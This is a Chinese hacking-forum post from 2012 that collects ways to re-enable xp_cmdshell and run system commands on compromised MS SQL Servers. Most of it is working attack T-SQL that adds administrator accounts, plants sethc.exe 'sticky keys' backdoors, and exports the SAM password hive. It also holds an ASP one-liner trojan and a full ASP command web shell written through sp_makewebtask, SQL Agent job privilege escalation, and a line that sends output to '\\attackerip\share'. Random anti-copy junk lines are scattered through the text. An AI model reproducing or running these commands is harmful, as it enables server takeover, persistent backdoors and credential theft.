中国网络渗透测试联盟
标题:
XP_CMDSHELL恢复方法大全
[打印本页]
作者:
admin
时间:
2012-9-15 14:37
标题:
XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
3 C5 `% k* }1 E6 z, ?
恢复方法:查询分离器连接后,
( g4 A6 a# d1 I n' v
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
6 ~5 h% I; c# i' m% K
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
( n. u& c5 K+ w2 t4 V
然后按F5键命令执行完毕
* P I( z5 N7 K5 O1 Q0 t- ?
8 n6 Z; l. i& ]+ K
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
& x; B0 N0 I) L/ L/ g' P8 n, q
恢复方法:查询分离器连接后,
# {0 V+ `& F) Y; l0 l; |
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
7 o; a- V: z+ N- `9 N" X @6 h' x. a
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
9 O' T, t4 y8 K% {) O7 r
然后按F5键命令执行完毕
+ Y/ ^$ c. c7 m) R5 U
, I% R9 G. Q. _/ T) U2 @! h6 j9 A
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
, p* d' T/ Y- Y7 k3 Y
恢复方法:查询分离器连接后,
: c& ~$ i: H3 w9 G/ t. t% O
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
' A, x& Z3 z# b
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
3 w. I" f. N, q7 U. E6 L* U
然后按F5键命令执行完毕
: M' g3 E3 } Z2 B8 a$ l
- f5 ]6 A* K1 g2 O3 \/ i
4 终极方法.
4 a0 ^ j6 l9 c6 ~. Z; Y
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
2 }+ ?4 q1 `/ o. q# L3 O
查询分离器连接后,
. h( u8 Y h F# A5 P
2000servser系统:
5 D+ K' J) s% V( |, w
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
O; b3 |# m0 D
6 x( j0 h6 v: T H; |
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
' K; z. `$ ?) w9 U* F, P
. y( J) f( A: m1 q* @" U
xp或2003server系统:
; s8 L' q; k9 N4 q$ h/ N
; I( i- {8 [* c- u0 z- ?
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
) i1 j% }: u4 U9 f$ W4 q# z
4 [& p1 c4 o, z2 r3 T4 S
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
& p; z/ q$ S' b( J$ m2 L" K5 U
* P/ i) G$ f r( y' A
! f, ^8 e; R1 @0 u- \* U0 M' W
五个SHIFT
. |2 }/ t! g$ Y3 i+ |# [
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
" w! O4 M* [/ b9 P' @9 c- `
- Y5 G. m% e6 b
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
( _4 g6 _, }: x6 }2 s8 `$ Q2 `5 z
' l0 _! j/ Q& ?3 @
xp_cmdshell执行命令另一种方法
0 k( ?+ y0 s( d3 {1 S9 D
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
- Z0 s5 T8 Y5 I2 D7 W- m8 _7 v
0 \$ |0 ^- \4 U' z
判断存储扩展是否存在
# B0 K$ A6 i! B
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
3 R( P% g- K4 q. d
返回结果为1就OK
) B$ B; x c5 V2 a. `) V
. g- c: V. N/ C
' x# L5 p& ~0 v0 ]' \
上传xplog70.dll恢复xp_cmdshell语句:
1 j) s; t# I" n
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
; j4 }6 R$ K, _% k( O. N
+ V& i4 e! ^) p* Z
否则上传xplog7.0.dll
5 T3 W8 c$ g( Z$ ]2 `
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
+ \# ~2 o1 S" j
* h) B8 Z8 E. `8 i S
/ l h5 C* R( P# F8 o3 b3 N
+ }6 S# k; X, F2 ^) q: {# T, b) \
首先开启沙盘模式:
7 Y s, {7 A3 G* X; f& u& {6 D
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
1 j, Y1 B/ l' B# M
2 _/ f+ F( J4 P* l) A! Q+ b
然后利用jet.oledb执行系统命令
5 C0 I' S9 }; Q1 R V
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
9 M9 g4 c# x7 L0 O5 a0 J9 k; r
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
0 p v9 }9 {+ d7 A; n( t0 k; `8 t
0 a7 [6 B' g$ |$ \6 E! a$ R
3 y" {" I5 S3 t
) L% s/ L; O* K L- L1 o
恢复过程sp_addextendedproc 如下:
) G7 ^) ~8 o1 } D7 J
create procedure sp_addextendedproc --- 1996/08/30 20:13
/ h* b& M3 q2 X$ S
@functname nvarchar(517),/* (owner.)name of function to call */
4 ^4 a5 |% i: O r0 D1 g8 f8 W
@dllname varchar(255)/* name of DLL containing function */
1 U) T+ e& W% `; {$ Z7 b
as
7 J, q1 P5 h) {6 U, q" T
set implicit_transactions off
9 I% M: `% T; B3 u9 ~( U
if @@trancount > 0
A+ B3 t: @( Y$ c
begin
( i& x( b6 l% G' f& F7 _: M
raiserror(15002,-1,-1,'sp_addextendedproc')
: B& a' ]4 O, n3 m, g
return (1)
& S1 w3 w s* t/ I7 e- ]
end
1 q3 e/ N' Q$ a Q
dbcc addextendedproc( @functname, @dllname)
; p6 I2 }! h. u0 Z
return (0) -- sp_addextendedproc
- {& f5 A" V; E
GO
2 l9 E, a5 ~2 w. E' z1 z
" [ ~ ^) S+ L( v: m- X
: V; O3 ~! j2 U
/ b9 _6 \/ V) c: H( {" w
导出管理员密码文件
: u1 S7 E3 G0 T# M3 y
sa默认可以读sam键.应该。
/ N, d' Q. [$ f, t2 H/ Z
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
! ?: k( o6 n2 a: Z* s6 |7 E
net user administrator test
, @* c& `5 H D+ j: o
用administrator登陆.
4 c/ w# d* }9 b
用完机器后
7 H; e t- [$ ~ e
reg import c:\test.reg
+ _( o3 [4 l6 S7 N* ^
根本不用克隆.
$ k2 r9 G: R+ v, f3 L, g* h
找到对应的sid.
# @! G9 F) y+ L2 d! [: V/ d
$ }+ d/ X2 r8 |$ f( L9 V% ?% t
% g$ j9 h" [" s) e
# z0 q U$ z( i/ j+ @8 {
恢复所有存储过程
6 J3 R$ B; o3 S7 \+ A" A
use master
" L) @: @ P! H Z6 R! z
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
1 F5 z2 r! o2 d
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
& o, |' Q; i/ {2 R- P
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
+ T+ N% \1 N6 k' O ^
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
# J) I3 j5 f% P8 X$ q
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
9 J5 j1 x+ H& A; y# c- l+ y1 |. r
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
( m/ o r" V/ m# t: h8 f: ^* T
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
/ u0 S: W2 Q' [+ s' C9 L
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
) M: F: H" E* p# |, J
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
5 {3 l# i3 J# W+ i0 c2 Z% V
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
) \/ F3 i7 y' Z$ Y4 O( O$ S3 l5 g9 g
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
3 |9 G5 \+ x0 ]7 ^2 H* l+ e2 H( ~6 e7 k
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
( q+ V7 z Y8 G4 D6 V7 `4 m; T
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
2 _6 B3 p2 v4 C0 Z7 W
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
3 h4 W0 I; H2 p# B
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
& P# C/ B) U/ o6 f& U6 ^
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
; i6 _8 X6 @# g( `5 T0 e
exec sp_addextendedproc xp_regread,'xpstar.dll'
. \% O6 s- @- c' }2 U" V3 m
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
7 J3 {. [- C( S( c' p! s0 f
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
) z N4 J/ W# P0 c2 g2 y0 e
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
$ C- x# S( L; G- q
+ v- _9 q9 ~, J" `/ i
9 f1 B M5 C6 c+ \0 m" y, _
建立读文件的存储过程
+ a# M9 I8 s$ K
Create proc sp_readTextFile @filename sysname
" D( [2 e c# N) a& H$ m6 }
as
$ L# ~' }; g6 E& Q
; W/ r1 L* }3 ~$ v/ }5 Y; O
begin
' Q# _2 G, B- G" O' E% K
set nocount on
) d7 ~; o5 e; d; b
Create table #tempfile (line varchar(8000))
9 A3 z- ^7 j3 n! S
exec ('bulk insert #tempfile from "' + @filename + '"')
& z! ~. K1 O" b/ u1 F: S2 o% T
select * from #tempfile
: \0 X% g# N) U
drop table #tempfile
$ @2 }" A( }, {8 W6 [. C
End
# Q0 U W& v- d7 s4 X/ I2 b. W1 e
' g7 ~% h7 B0 {9 e/ ^) `. F4 g1 @
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
! E$ O+ e9 H( ]0 `* D; Y
查看登录用户
1 m( e/ n% {2 _+ `2 B: ]
Select * from sysxlogins
1 L, T2 E2 t1 t1 K
0 `, g1 K+ ^% ^# |
把文件内容读取到表中
! d5 [* P# R! H' l, X
BULK INSERT tmp from "c:\test.txt"
$ M% {& i" T: {" p4 t
dElete from 表名 清理表里的内容
' N) S r5 L3 x3 q, I
create table b_test(fn nvarchar(4000));建一个表,字段为fn
7 }: W( z9 e {2 b
( P; v* e& ~' ?1 Q! T
K& [ E. H/ K8 l2 P, r
加sa用户
$ A1 m7 m$ y0 E% Y8 B& I
exec master.dbo.sp_addlogin user,pass;
5 ?, e- W4 t3 U5 \
exec master.dbo.sp_addsrvrolemember user,sysadmin
1 S# \7 H2 {* m+ N' F2 F/ @
! E. W; j7 k7 A7 ~- Y
- i9 J) ]* o/ b, I
o+ ^1 S; x3 t; B" H5 E( z7 f
读文件代码
8 J' M6 d! }6 ^( m9 D
declare @o int, @f int, @t int, @ret int
! a3 H5 Z3 f) ^- N$ k
declare @line varchar(8000)
0 Q( o1 x* S( V7 ?- D8 e; Q2 {+ u9 N
exec sp_oacreate 'scripting.filesystemobject', @o out
% S7 T6 T' R. L/ F5 ?1 [
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
' o% B6 t* `7 U3 K
exec @ret = sp_oamethod @f, 'readline', @line out
; W8 r0 N! m) Y5 y0 c1 @: u
while( @ret = 0 )
; x0 ^# h$ y% ?% h v; n5 _
begin
9 s( F; x( V$ i
print @line
0 T$ l+ Y5 t! U! @+ e5 h+ ]
exec @ret = sp_oamethod @f, 'readline', @line out
, z8 i' I# `# s! Q. J5 ]$ D
end
0 H8 a- G6 {# S1 `, U5 A
3 e6 Q; F; ~9 d. p' Y
. Y9 `$ d8 r* F, i: ?
写文件代码:
/ T8 R8 l5 D8 k0 Z" D% x0 [. O
declare @o int, @f int, @t int, @ret int
' r; H0 u. d2 j5 g+ K& b
exec sp_oacreate 'scripting.filesystemobject', @o out
6 `' Q7 k6 W) L( S u/ g& t
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
. t9 x0 R" j1 y0 |$ b4 Y7 T/ F
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
/ h0 ^- T% n9 e0 u, u
# @8 U! U0 ]+ w3 T0 y
: @) m* a. X7 c' \( R: D3 y
添加lake2 shell
# c2 K, l, Y, e
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
K% Y" @6 p2 U: k: q3 L7 t S
sp_dropextendedproc xp_lake2
. }3 l: j* @& ]( |( x# L7 ^: F
EXEC xp_lake2 'net user'
1 A; U( ~/ ^% L, Y
H4 |. T5 r% l4 I
1 i- F) P! ^& e) p
得到硬盘文件信息
9 G6 O" i9 e, r, ]7 `; G9 m
--参数说明:目录名,目录深度,是否显示文件
6 @: r. \ B& H! U; J u
execute master..xp_dirtree 'c:'
8 H# N" I5 v T
execute master..xp_dirtree 'c:',1
r, ^2 ~. _: B! C9 X/ V1 J& {
execute master..xp_dirtree 'c:',1,1
' a" I& ^& e9 I
! ~! X7 T1 {1 u
, e) c/ h( {/ e q
读serv-u配置信息
, a. b4 e& W0 `9 S6 h8 K4 I
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
" ^7 s7 R6 U! V7 F/ Q
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
, q9 h2 h3 r& ?# ^
* z* c9 I2 X! s# y+ k8 N
通过xp_regwrite写SHIFT后门
! P0 I- s, {+ S3 d2 |5 g
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
$ e& A9 d3 W" V( g V8 n7 _
9 D# W& g) `2 A
% ]3 ] N. s! ?0 h, C. j
% z a* V2 X! r
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\
www.xx.com
';
$ f8 C7 X5 E, P1 r$ A7 g
exec sp_makewebtask 'd:\web\
www.XXXX.com
\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
* y) ^/ M$ Z. G% g( Y+ w. H$ {
& {: B) F$ l0 s3 a$ W @+ q4 u; t$ i
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
% }9 A" ~3 e9 W7 j3 v
7 Y5 T$ h/ Z( j6 j* O
% p2 s0 G+ I; X. C# K4 G" Y
' H) Y# f: I3 p- l$ y" C
sql server 2005下开启xp_cmdshell的办法
* z7 u, l! D7 w! a3 V$ S) Z
/ f& a5 b9 h; H. I! W
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1 }) B. w( ]0 z# m5 e8 Y' O9 G- w
- x6 Z3 ?7 s/ v0 ~. q/ e+ W: _; K
SQL2005开启'OPENROWSET'支持的方法:
. ]0 w E9 N7 p# O
0 y! ~$ @- H5 _9 a8 t2 i1 G
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
! {/ K& f* X/ c
/ t+ T# D, F# C( D5 L; | E+ H! h
SQL2005开启'sp_oacreate'支持的方法:
+ w# e7 V: O, B0 V
w/ ~" q2 {0 L# s' \
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
8 d5 H, k7 R) f/ j" H: F
, m& l" _ T F0 ?4 [$ q
" Q# b& E& Y7 B) @# }
: v+ H# f: H* x% Q1 p |8 I; B @
* Y* K2 B3 Q2 ~: e: A' f) Z; E
$ K- A- O4 L* Q, G# ]$ G/ q
, r9 o5 Z8 J R- @
' ^6 N, [1 v+ S b
3 a. v* e W/ F* @. [# ~
& Y% @, [) B* D
/ B0 T1 b' X( S9 g* Z. w% {- L) r8 F
, Y9 b# K4 \7 S2 ]% L
/ x7 S6 [; c6 ~- y( n+ a! U
2 Y! ~- H2 V0 |- K# E
8 q$ W4 @% Z( U0 P) u
' B1 N. c# J% e# c ]8 w' d
2 }$ D; g7 Q- q' D
- `: I8 ?6 ? }
9 ~$ I- I: W( C* g2 @7 I V/ s
5 d/ ?4 G! ^+ Z+ y4 O
$ P* X0 k6 G: c: `/ _3 D. Q) E5 z
- g- }7 a |6 R3 {
3 ]' O' |! z+ q. C
0 v; e$ U% L4 k
0 V9 B0 G- n# a7 s6 w
以下方面不知道能不能成功暂且留下研究哈:
! e' L, f9 S2 C& X
4)
- o7 {, P2 w8 i+ Y
use msdb; --这儿不要是master哟
+ R" H, z: M* L/ O5 l
exec sp_add_job @job_name= czy82 ;
, X( ]: T# v) O% g9 ^
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
" N% y2 p9 Q0 y
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
+ w, P3 ~' l3 Q0 n, |: |
exec sp_start_job @job_name= czy82 ;
- ~2 t' l! Y: Y/ e6 \
; G3 W* y. s( U+ b
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
( W* c/ h, `' d ~3 |' n( m, A; s+ @
执行tsql语句了.
* r! t8 @: Z0 a4 Z* T- _
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
, Y' S& u% k) C. x- |
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
; ?) d; z5 w9 G7 G
net start SQLSERVERAGENT
7 b& }0 Q8 t: n9 H! c
* s: V/ H( r/ Q- G" z
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
2 a% q- ?3 ^( G4 ~
USE msdb
& Y, n/ ~, g3 N* t" z2 {: l& M
EXEC sp_add_job @job_name = GetSystemOnSQL ,
) C$ }# `) l3 B2 }5 |
@enabled = 1,
e o' o5 I. l' M
@description = This will give a low privileged user access to
9 k5 ~# Q( f" Z' ^" F$ U: |$ C+ i2 y
xp_cmdshell ,
) a6 }& E' T% p! p) f2 P( `
@delete_level = 1
% j7 L7 A8 t- o' A
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
/ H; m& ^. U1 Y) L0 R1 J
@step_name = Exec my sql ,
1 u* q- d: {* r
@subsystem = TSQL ,
9 J. B! x! G# [0 _0 Q( C) z7 ~4 `# W
@command = exec master..xp_execresultset N select exec
; y' X0 H! `2 A* r! ]
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
0 e1 M# u, u l
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
4 P) q" L4 H8 h$ j; _
@server_name = 你的SQL的服务器名
% y6 S! b( N+ Q1 v
EXEC sp_start_job @job_name = GetSystemOnSQL
4 r6 w& J& z7 o0 {
( W) ~ B" F3 y* W( Y8 ]! J* B
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
: Q# L5 Y' _( m1 r$ K
才让我们可以以public执行xp_cmdshell
# Q; f6 J3 B4 `& R. }
2 L; _1 I& A% S4 t
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
4 H# ]1 X. M" {' L7 T4 {
在安焦有文章:
http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
, P( ]0 F; E4 T' N( y. M b
+ L2 a* n b. w6 Y5 y: P; k/ @
USE msdb
; q( e2 M8 z& E$ v4 J
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
) v: x* o1 d0 j; M5 N
@enabled = 1,
# ~5 v0 Z5 a" n( x
@description = This will create a file called c:\sqlafc123.txt ,
% D& N1 J" b9 {4 P
@delete_level = 1
* t5 C! `, g7 Y1 Y9 u1 X! }0 S
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
2 h) \( e% Z/ P8 V, E& L. V. D' h
@step_name = SQLAFC ,
: O% y2 k, Q+ V+ n: I& |
@subsystem = TSQL ,
5 t$ h, l# [5 ?% |4 d: [& S O/ a
@command = select hello, this file was created by the SQL Agent. ,
' u/ {. u$ x" H( z6 [
@output_file_name = c:\sqlafc123.txt
9 }0 t, A) y* H
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
$ k. b3 Z, J8 V
@server_name = SERVER_NAME
0 B$ d& N0 C4 @) \( \. F2 l
EXEC sp_start_job @job_name = ArbitraryFilecreate
2 w2 e, n5 V4 o8 s5 Z& Y
9 l$ E. @$ K- J3 m/ d8 k) W" ]" C
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
; W" z1 g1 A. |
; N. O5 z' k4 m- ]( Z3 t# M5 V
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
$ n$ ?) S+ s- N- F! e
----------------------------------------------
( O9 t$ L9 z, l* E4 G
hello, this file was created by the SQL Agent.
& s- T# Q3 F0 X
; l6 M h3 B x* x9 X# s% H
(1 ?????)
/ {# N8 a/ W% y% h" b
) X3 V! ], t b) m
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
) r2 u5 ?, u0 f/ P, v1 t5 @' a
命令的vbs文件到启动目录!
, R+ F+ k! ~8 t7 h% ?# G
1 D0 p: j6 V) G" W: ]4 B) T
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
# b: V- ?1 S9 u4 w
关于sp_MScopyscriptfile 看下面的例子
# O( `# D" @3 {7 Y5 n) B
declare @command varchar(100)
9 c' T: f& O( I! { d
declare @scripfile varchar(200)
6 t0 S3 c5 {, x* H( f
set concat_null_yields_null off
" }( t8 ?6 |3 \+ [6 ?) V
select @command= dir c:\ > "\\attackerip\share\dir.txt"
& c6 K0 z ?0 d" Y5 e [6 a
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
, ]) S7 n# T$ \: e
exec sp_MScopyscriptfile @scripfile ,
, v% y: l+ r+ @. g% x3 r
. q% B+ f% {$ z
这两个东东都还在测试试哟
4 i% L' q4 T* F
让MSSQL的public用户得到一个本机的web shell
' q ^. x x0 v, u
' I! F8 c/ _# v. U* J0 d; A* [
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
# S: O& s; H. V( v
--@query= select <img src=vbscript:msgbox(now())>
( z, \* b- E* [4 m# T
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
7 v* a3 r. A0 R1 u- s
@query= select
$ l! b+ V% I- V3 F
<%On Error Resume Next
4 e5 ~& k9 f% S
Set oscript = Server.createObject("wscript.SHELL")
2 P8 }) R' y( z' t9 Y v n8 d
Set oscriptNet = Server.createObject("wscript.NETWORK")
( |2 I" Q$ v3 b4 A
Set oFileSys = Server.createObject("scripting.FileSystemObject")
5 ]3 I; c; J7 d O
szCMD = Request.Form(".CMD")
; e% [5 J Z5 b+ i2 v: @) n J
If (szCMD <>"")Then
" ^- F: P( z* T0 q& s# Z8 _7 D
szTempFile = "C:\" & oFileSys.GetTempName()
7 y& f: I5 `/ P# ?
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
7 \! s6 u# o& o3 e$ @
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
4 S- C1 H( _ W" m
End If %>
4 d$ V$ o& b" _$ T. ?& C
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="
OST">
) z6 ^+ u6 v6 n3 X
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
; \* n: o+ o% N9 J% B1 V
</FORM><
RE>
$ w- J4 `1 L8 t" p# m
<% If (IsObject(oFile))Then
4 u0 ]; s5 K4 u5 w6 w% C" ?
On Error Resume Next
/ t) R5 s* J, E2 x
Response.Write Server.HTMLEncode(oFile.ReadAll)
' h; h$ S! f: @' B0 e- C% D A% o
oFile.Close
1 t. n& t! ?7 D7 d$ G2 j" j, u$ I5 p. `
Call oFileSys.deleteFile(szTempFile, True)
6 }+ z& b& Z5 D/ D- _: W+ P
End If%>
2 o' U$ _- x( y
</BODY></HTML>
6 \0 e: p3 n& l
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2